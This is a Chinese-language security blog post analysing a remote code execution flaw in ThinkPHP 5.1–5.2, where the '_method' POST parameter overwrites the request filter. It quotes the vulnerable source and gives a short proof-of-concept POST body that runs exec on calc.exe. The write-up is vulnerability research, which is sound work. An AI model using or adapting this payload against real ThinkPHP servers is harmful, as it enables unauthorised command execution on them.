Thinkphp5.1 ~ 5.2 全版本代码执

华盟原创文章投稿奖励计划

序言

最近爆出了Thinkphp5.0.*全版本代码执行,其中5.1与5.2全版本在生产环境下下同样也存在代码执行


漏洞分析:

文件位置:\thinkphp\library\think\Request.php

 /**
     * 当前的请求类型
     * @access public
     * @param  bool $origin  是否获取原始请求类型
     * @return string
     */ public function method($origin = false) { if ($origin) { // 获取原始请求类型 return $this->server('REQUEST_METHOD') ?: 'GET'; } elseif (!$this->method) { if (isset($_POST[$this->config['var_method']])) { $this->method = strtoupper($_POST[$this->config['var_method']]); $method = strtolower($this->method); $this->{$method} = $_POST; } elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) { $this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')); } else { $this->method = $this->server('REQUEST_METHOD') ?: 'GET'; } } return $this->method; }

其中:

$this->method = strtoupper($_POST[$this->config['var_method']]); $method = strtolower($this->method); $this->{$method} = $_POST;

$method变量是$this->method,其同等于POST的”_method”参数值

然后该处存在一个变量覆盖

我们可以覆盖 $filter 属性值(POC如下)

c=exec&f=calc.exe&&_method=filter&

访问如下图所示:

1547216389386

会爆出一个警告级别的异常,导致程序终止

如何触发:

如果设置忽略异常提示,如下图:

1547216439115

本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置

Payload(POST请求):

1547216479219

弹出计算器

文章来源于 风暴之眼

本文原创,作者:fox,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/229206.html

评论:

1 条评论,访客:0 条,站长:0 条

0%好评

  • 好评:(0%)
  • 中评:(0%)
  • 差评:(0%)
  1. 匿名发布于: 

    我需要黑客入门手册

发表回复